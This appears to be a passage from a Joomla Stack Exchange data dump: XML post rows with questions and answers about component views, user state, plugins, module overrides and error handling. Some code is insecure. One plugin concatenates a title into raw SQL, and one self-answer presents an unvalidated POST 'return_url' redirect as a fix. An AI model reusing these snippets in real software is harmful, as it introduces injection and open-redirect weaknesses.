&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My menu item link to get to the View is specified as this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;index.php?option=com_inventory&amp;amp;view=stockrequests&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have added a couple of extra Input fields to each line on the list to allow the end-user to adjust a stock quantity inline and when I have these lines in the bottom of the &lt;code&gt;&amp;lt;form&amp;gt;&lt;/code&gt;and it is the addition of task  field and in particular coming back from the 'process' method that the problems begins.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;task&quot; value=&quot;stockrequests.process&quot;/&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;view&quot; value=&quot;&quot;/&amp;gt; &#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;filter_order&quot; value=&quot;&amp;lt;?php echo $listOrder; ?&amp;gt;&quot;/&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;filter_order_Dir&quot; value=&quot;&amp;lt;?php echo $listDirn; ?&amp;gt;&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Each time the user navigates to a different page or changes the sort order the &lt;code&gt;&amp;lt;form&amp;gt;&lt;/code&gt; is submited and the subcontroller 'stockrequests' is called and task 'process' is run, all still working as expected. I am extending JControllerForm in 'stockrequests' and a check of the variable $_POST for limit and limistart show the updated values are there and getUserState shows the values for the selected ordering is available.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; [filter_order] =&amp;gt; a.OrderQty [filter_order_Dir] =&amp;gt; asc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now my problem begins, I think, with the way I am trying to go back to the View. I have tried various techniques I have found with no success but these are the two I keep coming back to.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//$this-&amp;gt;setRedirect('index.php?option=com_inventory&amp;amp;view=stockrequests?&amp;amp;limitstart=' . $_POST['limitstart']);&#xA;$this-&amp;gt;setRedirect('index.php?option=com_inventory&amp;amp;view=stockrequests');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I get back the View the URL is no longer &lt;code&gt;myste/stock-request&lt;/code&gt; but &lt;code&gt;mysite/index.php?option=com_inventory&amp;amp;view=stockrequests&lt;/code&gt; and the limit setting values are what they were before the end-user caused the page to change if I don't supply them via the limistart parm that is commented out. While the ordering settings have gone back to the defaults specified in the model.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[list.limit] =&amp;gt; 20&#xA;[list.start] =&amp;gt; 0&#xA;[list.ordering] =&amp;gt; a.ItemCode&#xA;[list.direction] =&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I am hoping to achieve is to come back to the View with the values for list ordering or page navigation that were set when I left the View are used to display the next page or sort the list differently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Initially I thought it was some issue with UserState or State but as I can see they are set correctly while still in the subController I am guessing it is some issue with the approach for getting back to the View that it is treating it as new View or is not correctly getting the updated values. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keeping in mind that the limit and limitstart value are what they were before the task is called, not the new values in $_Post array when in the 'process' task, suggesting something is remembered or passed through. While the List ordering goes back to he default settings suggesting it is treating it as a new or different View display.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have figured out some hack work arounds but I have spent more than a days worth of effort trying to make this work as I want to use the inline editing elsewhere in this extension so any suggestions or pointers in the right direction will be much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other related items might be this in the stockrequest model.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    public function populateState($ordering = null, $direction = null)&#xA;    {&#xA;        $app  = Factory::getApplication();&#xA;        $list = $app-&amp;gt;getUserState($this-&amp;gt;context . '.list');&#xA;echo &quot;&amp;lt;pre&amp;gt; Ordering settings ...&quot;; print_r($ordering);&quot;&amp;lt;/pre&amp;gt;&quot;;&#xA;        $ordering  = isset($list['filter_order'])     ? $list['filter_order']     : null;&#xA;        $direction = isset($list['filter_order_Dir']) ? $list['filter_order_Dir'] : null;&#xA;&#xA;        $list['limit']     = '0'; // (int) Factory::getConfig()-&amp;gt;get('list_limit', 20);&#xA;        $list['start']     = $app-&amp;gt;input-&amp;gt;getInt('start', 0);&#xA;        $list['ordering']  = $ordering;&#xA;        $list['direction'] = $direction;&#xA;echo &quot;&amp;lt;pre&amp;gt; List settings 2...&quot;; print_r($list);&quot;&amp;lt;/pre&amp;gt;&quot;;&#xA;&#xA;        $app-&amp;gt;setUserState($this-&amp;gt;context . '.list', $list);&#xA;        $app-&amp;gt;input-&amp;gt;set('list', null);&#xA;&#xA;        // List state information.&#xA;        parent::populateState('a.ItemCode', 'asc');&#xA;&#xA;        $context = $this-&amp;gt;getUserStateFromRequest($this-&amp;gt;context . '.context', 'context', 'com_inventory.stockrequests', 'CMD');&#xA;        $this-&amp;gt;setState('filter.context', $context);&#xA;echo &quot;&amp;lt;pre&amp;gt; Context settings ...&quot;; print_r($this-&amp;gt;context);&quot;&amp;lt;/pre&amp;gt;&quot;;&#xA;&#xA;        // Split context into component and optional section&#xA;        $parts = FieldsHelper::extract($context);&#xA;&#xA;        if ($parts)&#xA;        {&#xA;            $this-&amp;gt;setState('filter.component', $parts[0]);&#xA;            $this-&amp;gt;setState('filter.section', $parts[1]);&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this from the top of my form&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- action=&quot;&amp;lt;?php // echo JRoute::_('index.php?option=com_inventory&amp;amp;task=stockrequests.process&amp;amp;view=stockrequests'); ?&amp;gt;&quot; --&amp;gt;&#xA;&amp;lt;form   action=&quot;&amp;lt;?php  echo htmlspecialchars(JUri::getInstance()-&amp;gt;toString()); ?&amp;gt;&quot;&#xA;        method=&quot;post&quot;&#xA;        name=&quot;adminForm&quot;    &#xA;        id=&quot;adminForm&quot;&amp;gt;&#xA;&#xA;    &amp;lt;?php echo JLayoutHelper::render('default_filter', array('view' =&amp;gt; $this), dirname(__FILE__)); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="13306" LastEditDate="2019-09-21T11:43:34.480" LastActivityDate="2019-09-23T10:36:26.000" Title="How to remember User State settings when returnng to a Site View?" Tags="|joomla-3.x|view|model|controller|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26182" PostTypeId="1" CreationDate="2019-09-22T08:41:00.870" Score="1" ViewCount="56" Body="&lt;p&gt;I created a site with Joomla3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I click on the tags link on a blog post, it shows a page of articles but without a module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to add a module to this page.&lt;/p&gt;&#xA;" OwnerUserId="13787" LastEditorUserId="12352" LastEditDate="2019-09-22T10:02:44.277" LastActivityDate="2019-09-23T23:20:27.920" Title="How can I add a module to the tags page?" Tags="|joomla-3.x|module|tags|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26184" PostTypeId="2" ParentId="26181" CreationDate="2019-09-23T06:38:15.967" Score="1" Body="&lt;p&gt;It doesn't look like you are including the menu Itemid in your redirect which is why your URL is changing. Add another hidden field with the value of your current Itemid. Your redirect code is fine just add the &amp;amp;Itemid= portion to include the value that you are passing.&lt;/p&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2019-09-23T06:38:15.967" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="26186" PostTypeId="2" ParentId="26181" CreationDate="2019-09-23T10:36:26.000" Score="0" Body="&lt;p&gt;An approach I have found that works for my situation in regards to the returning to the same URL is the use of a hidden input to grab the URI as I want it and then plug it into the redirect in the controller to come back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the View default.php I have this,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;return_url&quot; value=&quot;&amp;lt;?php  echo htmlspecialchars(JUri::getInstance()-&amp;gt;toString()); ?&amp;gt;&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and in my subController I have &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;setRedirect($_POST['return_url']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This might help someone else who finds this thread.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am still struggling with the holding of the State variable but I have progressed to see that com_content does achieve what I want to do so I now know it is possible, just have to work out exactly how.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2019-09-23T10:36:26.000" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26189" PostTypeId="2" ParentId="26182" CreationDate="2019-09-23T23:20:27.920" Score="1" Body="&lt;p&gt;The display of modules on a Joomla website is generally controlled via the &quot;Menu Assignment&quot; tab when editing the module in Module Manager.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clicking on a tag link may take you to a different page so that modules displayed on the original page are no longer displayed on the new page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Module assignment options are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;On all pages&lt;/li&gt;&#xA;&lt;li&gt;No pages&lt;/li&gt;&#xA;&lt;li&gt;Only on the pages selected&lt;/li&gt;&#xA;&lt;li&gt;On all pages except those selected&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You might be able to solve your issue if you change the module assignment option to &quot;On all pages&quot; or &quot;On all pages except those selected&quot; with an appropriate selection.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2019-09-23T23:20:27.920" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26190" PostTypeId="2" ParentId="26178" CreationDate="2019-09-23T23:59:35.397" Score="1" Body="&lt;p&gt;As your problem is not really with Joomla but with Docker and PHP this is probably not the best area to be asking about this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A quick google search with 'stackexchange docker php' came up a few potential causes for your issue from some compression libraries not install by default to instruction for how you need to set up your Docker environment.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2019-09-23T23:59:35.397" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26191" PostTypeId="1" CreationDate="2019-09-24T02:14:23.483" Score="0" ViewCount="139" Body="&lt;p&gt;I'm currently using Joomla and we have a small security vulnerability in our URI. Currently, it displays the Exception/Error directly to the user like so:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '' at line&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Which is providing useful information to users who may attempt a SQL injection attack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I force all exceptions/errors to redirect to the home page? This error can only happen if someone directly manipulates the URI and not through clicking the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it helps, I believe this problem is caused by a component we're using that's directly querying with the URI instead of using prepared statements, but I can't seem to pinpoint where it is.&lt;/p&gt;&#xA;" OwnerUserId="13794" LastEditorUserId="12352" LastEditDate="2019-09-24T02:18:44.683" LastActivityDate="2024-01-31T20:01:20.143" Title="How to redirect all exceptions/error to a 404 page or back to home page" Tags="|joomla-3.x|redirect|error-handling|error-pages|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26192" PostTypeId="2" ParentId="26191" CreationDate="2019-09-24T07:31:03.260" Score="0" Body="&lt;p&gt;I am assuming that when you get the error and the processing stops and as such I don't believe it is possible to be redirected anywhere. Better error handling code around the data base query might overcome this by allowing processing to continue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have Error Reporting set to None in your Global Configuration, it should be suppressing those messages to the end user and processing should still continue, maybe enough to display a page that you can trap and redirect via Joomla or .htaccess if you are on Apache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to get more information about what is creating the error then set Error Reporting to something like Maximum or Development for a short time while you try to diagnose where the issue is coming from.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2019-09-24T07:31:03.260" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="26193" PostTypeId="1" CreationDate="2019-09-24T07:49:28.647" Score="1" ViewCount="32" Body="&lt;p&gt;K2 tools Archive redirects to homepage. How can I fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a topic with the same theme: &lt;a href=&quot;http://www.joomlaworks.net/forum/k2-en/36125-k2-tools-archive-redirects-to-homepage,-how-to-fix&quot; rel=&quot;nofollow noreferrer&quot;&gt;www.joomlaworks.net/forum/k2-en/36125-k2-tools-archive-redirects-to-homepage,-how-to-fix&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the advice from there did not help me. It's been five years.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any idea what else to do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On other pages the plugin works fine. Only the main page does not work well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla! 3.9.11 &amp;amp; K2 2.9.0&lt;/p&gt;&#xA;" OwnerUserId="13795" LastEditorUserId="12352" LastEditDate="2019-09-24T08:12:26.273" LastActivityDate="2019-09-24T08:12:26.273" Title="K2 tools Archive redirects to homepage" Tags="|joomla-3.x|k2|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26194" PostTypeId="1" CreationDate="2019-09-24T09:44:28.733" Score="0" ViewCount="81" Body="&lt;p&gt;First of all, I'm quite new to creating my own modules and plugins (and very much in learning stages!) and I find the help here excellent and very inspirational - thank you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to create a plugin that displays a notification when a new article has been created in a chosen category.  Eventually, the plugin will link to a module which will display a link to the newly created article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm doing this in stages and so far, so good.  However, onContentAfterSave returns all new articles from the chosen category, but I just want to display one, the newest.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I have so far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function onContentAfterSave ($context, $article, $isNew)&#xA;{&#xA;}&#xA;&#xA;public function onContentPrepare($context, &amp;amp;$article, &amp;amp;$params)&#xA;{&#xA;    $category = $article-&amp;gt;catid;&#xA;    $article_title = $article-&amp;gt;title;&#xA;&#xA;    $newarticlenotificationcategory = $this-&amp;gt;params-&amp;gt;get('newarticlenotificationcategory');&#xA;&#xA;    $db = JFactory::getDbo();&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;    $query = &quot;&#xA;    SELECT * &#xA;    FROM #__content &#xA;    WHERE (title LIKE '$article_title')&#xA;    ORDER BY id DESC &#xA;    LIMIT 1 &#xA;    ;&quot;;&#xA;&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $results = $db-&amp;gt;loadObjectList();&#xA;&#xA;    if ($category == $newarticlenotificationcategory) &#xA;    {&#xA;        echo '&amp;lt;h3 style=&quot;color:white;background:red&quot;&amp;gt;There is a new article called - ' . $article_title . ' - ID - ' . $results-&amp;gt;id . ' - in category - ' . $category . ' .&amp;lt;/h3&amp;gt;';&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, what do I have access to from $article and $isNew please?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you all for your answers and comments, it is appreciated.  Based on everything I'm going to take the advice and scrap what I have and re-think my approach to this entirely.  Once I have a working example of what I'm attempting to do I'll post an update here.  Again, thanks everyone.&lt;/p&gt;&#xA;" OwnerUserId="13704" LastEditorUserId="13704" LastEditDate="2019-09-24T22:37:36.163" LastActivityDate="2019-09-24T22:37:36.163" Title="Limiting onContentAfterSave to one result" Tags="|plugin|plugin-events|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26195" PostTypeId="2" ParentId="26194" CreationDate="2019-09-24T11:59:14.437" Score="1" Body="&lt;p&gt;There may be multiple issues to correct with your snippet, but I can confidently point out a couple things...&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;(title LIKE '$article_title')&lt;/code&gt;&#xA;This is seeking an exact match because there are no wildcard characters in the value to follow LIKE.  Since your intention is probably to make an exact match, it is better programming to use &lt;code&gt;=&lt;/code&gt; instead of &lt;code&gt;LIKE&lt;/code&gt;. For that matter, it is recommended that you use Joomla's query building methods. If you have a title containing a single quote, your query will break because there is no escaping supplied.  (Please refer to any of my &lt;code&gt;[mysql]&lt;/code&gt; tagged answers for examples and explanations.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;loadObjectList()&lt;/code&gt; creates a multidimensional object, but you are only expecting a single row in the results, so the most ideal result-gathering method to call is &lt;code&gt;loadObject()&lt;/code&gt;. This will yield a one-dimensional (flat) object (this should work seamlessly with your &lt;code&gt;&amp;lt;h3&amp;gt;&lt;/code&gt; content.  That said, if you only want to extract &lt;code&gt;id&lt;/code&gt;, then you can write &lt;code&gt;SELECT id&lt;/code&gt; then call &lt;code&gt;loadResult()&lt;/code&gt; to receive that lone value.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;As for MVC practices, you shouldn't be echoing content in the same place that you are querying the database -- but this is probably not a concern of yours at this point.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;As you continue to develop your script, be sure to display your variables (for your own knowledge), so that you can see what is working and what isn't. This is very helpful to my development: &lt;a href=&quot;https://docs.joomla.org/Display_error_messages_and_notices&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Display_error_messages_and_notices&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2019-09-24T11:59:14.437" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26196" PostTypeId="2" ParentId="26194" CreationDate="2019-09-24T13:16:51.577" Score="2" Body="&lt;p&gt;You could use this sample of code to have a peek at what is available from the data being passed to onContentAfterSave  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    public function onContentAfterSave ($context, $article, $isNew)&#xA;    {&#xA;        echo &quot;&amp;lt;pre&amp;gt; Context .......&quot;; print_r($context);&quot;&amp;lt;/pre&amp;gt;&quot;;&#xA;        echo &quot;&amp;lt;pre&amp;gt; Article .......&quot;; print_r($article);&quot;&amp;lt;/pre&amp;gt;&quot;;&#xA;        echo &quot;&amp;lt;pre&amp;gt; IsNew   .......&quot;; print_r($isNew);&quot;&amp;lt;/pre&amp;gt;&quot;;&#xA;&#xA;        echo &quot;&amp;lt;pre&amp;gt; Article Id .......&quot; . $article-&amp;gt;id . &quot;&amp;lt;/pre&amp;gt;&quot;;&#xA;&#xA;        die;&#xA;     }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;$context contains an indentifier of what trigger the plugin and is normally used to only process calls from a component or module that your are interested. For example you would simply return to the caller anyone that is not $conext = 'com_content.article' .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$article has a whole lot of stuff you probably didn't know was available or would probably ever want but if you run the code and scroll to the bottom you can see the parts of the object that you will probably want to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because it is a an Object you need to use '-&gt;' to access the data inside. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;$isNew is just a flag to say it is a new record that has been saved.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="13306" LastEditDate="2019-09-24T13:22:01.547" LastActivityDate="2019-09-24T13:22:01.547" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26197" PostTypeId="2" ParentId="26194" CreationDate="2019-09-24T18:29:11.163" Score="3" Body="&lt;p&gt;I am reading your code and I think it makes no sense... I can see only problems in your question, the code and in the approach for what I assume you want to achieve. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will try to translate what your code will be doing if you enable your plugin:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;You will be running what you have there in every content load, for as many content items you will be loading each time with the &lt;strong&gt;onContentPrepare&lt;/strong&gt; (think blog/list layouts as well).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You will have the category id of each article where the plugin will be running.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You will query the database to get the record of that same article from where your plugin will be running. Not sure if your query will be correct in terms of syntax - but definitely it makes no sense at all in terms of logic. (Can you tell what are you expecting to get back from that query? And why are you querying the DB at that point?)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;So with your query you will end up with a result from the database which will be actually the same article as the $article of the event you are already running.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;However, whatever the case with your DB Query - eventually it doesn't seem to make any difference as you just assign the results to a variable and you do nothing with them.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Well, OK, you just use somewhere something like $results-&gt;id; which there is no chance to be correct, given what the $results should look like after your assignment. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Finally you only check if the category (ID) of the current article (that the onContentPrepare runs from), is equal to the one set in the plugin's params. Then you echo something ... &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Your code is far away from being a workable solution ... I think you need to re-think everything... Read my points above to realize what you current code is doing and re-work your solution. Come back if you need further help - but you have to reach to a more clear path/approach for what you are doing - or ask the right questions each time for each problem/stage you are in.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2019-09-24T18:29:11.163" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26198" PostTypeId="1" AcceptedAnswerId="26201" CreationDate="2019-09-25T05:01:33.743" Score="1" ViewCount="72" Body="&lt;p&gt;I am new to Joomla. I have installed a plugin and I want to overwrite the module file to remove some of the unwanted scripts.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;project&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;modules&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;mod_modulename&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;mod_modulename.php&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;How can I overwrite the mod_modulename.php file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or is there technique by which I can remove the javascript file added by the external module?&lt;/p&gt;&#xA;" OwnerUserId="13692" LastEditorUserId="126" LastEditDate="2019-09-26T08:46:48.547" LastActivityDate="2019-09-26T08:46:48.547" Title="How to overwrite a module's .php to control what scripts it adds to the head of the doc?" Tags="|joomla-3.x|module|extensions|javascript|jdocument|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26199" PostTypeId="1" CreationDate="2019-09-25T10:18:14.383" Score="3" ViewCount="264" Body="&lt;p&gt;I'm developing a component.&#xA;I want to have the save as copy button appear next to each element on my front end list view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have copied the save as copy buttons html from the edit view of a single item and pasted the code in the list view:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;button onclick=&quot;Joomla.submitbutton('jj_pakke.save2copy');&quot; class=&quot;btn btn-small button-save-copy&quot;&amp;gt;&#xA;&amp;lt;span class=&quot;icon-save-copy&quot; aria-hidden=&quot;true&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;Save as Copy&amp;lt;/button&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The button works, but it just creates new items with all fields empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How can I pass the item data with the &quot;save2copy&quot; method?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried using a form like this, but it didn't work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;&amp;lt;?php echo JRoute::_('index.php?option=com_pakker&amp;amp;view=jj_pakke&amp;amp;layout=edit&amp;amp;id=4'); ?&amp;gt;&quot;&#xA;method=&quot;post&quot; name=&quot;adminForm&quot; id=&quot;adminForm&quot;&amp;gt;&#xA;&amp;lt;?php JFactory::getApplication()-&amp;gt;input-&amp;gt;post-&amp;gt;set('data', $item); ?&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;task&quot; value=&quot;jj_pakke.save2copy&quot; /&amp;gt;&#xA;&amp;lt;?php echo JHtml::_('form.token'); ?&amp;gt;&#xA;&amp;lt;input type=&quot;submit&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also did an enqueueMessage to see what the data is set to at the data method which have the save2copy task:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function save($data)&#xA;{&#xA;    $encoded = json_encode($data);&#xA;    JFactory::getApplication()-&amp;gt;enqueueMessage($encoded, 'warning');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The output is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;id&quot;:0,&quot;tags&quot;:null}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inside the model, I got this method:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function save($data)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Inside that method, there is the save2copy:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($input-&amp;gt;get('task') === 'save2copy')&#xA;    {&#xA;        $origTable = clone $this-&amp;gt;getTable();&#xA;        $origTable-&amp;gt;load($input-&amp;gt;getInt('id'));&#xA;&#xA;        if ($data['jjpakketitel'] == $origTable-&amp;gt;jjpakketitel)&#xA;        {&#xA;            list($jjpakketitel, $alias) = $this-&amp;gt;_generateNewTitle($data['alias'], $data['jjpakketitel']);&#xA;            $data['jjpakketitel'] = $jjpakketitel;&#xA;            $data['alias'] = $alias;&#xA;        }&#xA;        else&#xA;        {&#xA;            if ($data['alias'] == $origTable-&amp;gt;alias)&#xA;            {&#xA;                $data['alias'] = '';&#xA;            }&#xA;        }&#xA;&#xA;        $data['published'] = 0;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12743" LastEditorUserId="12743" LastEditDate="2019-09-27T07:57:43.777" LastActivityDate="2019-09-27T07:57:43.777" Title="How to send data with save2copy button?" Tags="|custom-component|front-end|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="26201" PostTypeId="2" ParentId="26198" CreationDate="2019-09-25T12:01:44.660" Score="4" Body="&lt;p&gt;&lt;code&gt;module_name.php&lt;/code&gt; file can't be overridden.&lt;br&gt;&#xA;Check to see if the module has options to disable the loading of its scripts - Many modules come with such settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it hasn't, then you could propose this to the developers of the modules to include it in the next release.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can always clone the module and make one of yours that will behave the way you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can simply &quot;hack&quot; the part of the code of the module to make it work the way you want ... just remember to come back to it if you ever update it to re-do your &#xA;hack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on the scripts and the way they are injected to your page by the module there are techniques where you can manage what scripts you want to keep or disable. There are for example plugins like &lt;a href=&quot;https://extensions.joomla.org/extension/jquery-easy/&quot; rel=&quot;nofollow noreferrer&quot;&gt;jQuery Easy&lt;/a&gt; or &lt;a href=&quot;https://extensions.joomla.org/extensions/extension/core-enhancements/performance/js-css-control/&quot; rel=&quot;nofollow noreferrer&quot;&gt;JCC - JS CSS Control&lt;/a&gt; and others that allow control over which scripts are getting on the page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also check this Q/A for how to remove files from the head via code:&#xA;&lt;a href=&quot;https://joomla.stackexchange.com/questions/97/disable-script-loading-in-head&quot;&gt;Disable script loading in head&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2019-09-25T12:01:44.660" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
